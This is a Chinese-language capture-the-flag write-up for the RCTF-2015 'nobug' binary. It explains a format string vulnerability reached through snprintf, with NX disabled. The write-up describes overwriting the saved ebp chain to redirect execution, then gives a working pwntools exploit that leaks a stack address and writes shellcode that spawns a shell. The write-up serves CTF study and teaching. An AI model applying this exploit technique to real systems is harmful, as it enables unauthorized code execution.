RCTF-2015 nobug

思路

有一個格式化字符串的漏洞

int sub_8048B32()
{
  int v0; // eax
  const char *v1; // eax

  v0 = strlen(s);
  v1 = sub_804869D(s, v0, 0);
  return snprintf(byte_804A8A0, 0x800u, v1);
}

題目沒有開nx我們可以直接佈置好shellcode然後跳過去觀察棧發現一個地方可以利用

.text:08048BD7                 sub     esp, 18h
.text:08048BDA                 call    sub_8048B76
.text:08048BDF                 mov     dword ptr [esp], offset byte_804A8A0 ; s
.text:08048BE6                 call    _puts
.text:08048BEB                 leave
.text:08048BEC                 retn

然後就是非棧上的格式化字符串的利用了
通過改寫ebp的指針然後再次寫入上一個函數的ebp就可以改寫棧上的指針
ebp通常都是函數調用棧的信息保存有上一個函數的ebp地址32位的好像是這樣因爲有leave這個操作然後函數調用會有push ebp麼就會此函數的ebp會指向上一個函數的ebp
引薦師傅的exp:

from pwn import *
import base64
bs64=lambda data:base64.b64encode(data)
p=process('./magic')
#p=remote('220.249.52.133',58049)
sh_add=0x0804A0A0
shellcode=asm(shellcraft.sh())
p.sendline(bs64('%4$p'))
p.recvuntil('0x')
t_g=int(p.recvuntil('\n',drop=True),16)+4
log.success('t_g: '+hex(t_g))
payload=bs64(shellcode+'%'+str((t_g&0xff)-len(shellcode))+'c%4$hhn%'+str((sh_add&0xff)-(t_g&0xff))+'c%12$hn')
p.sendline(payload)
p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章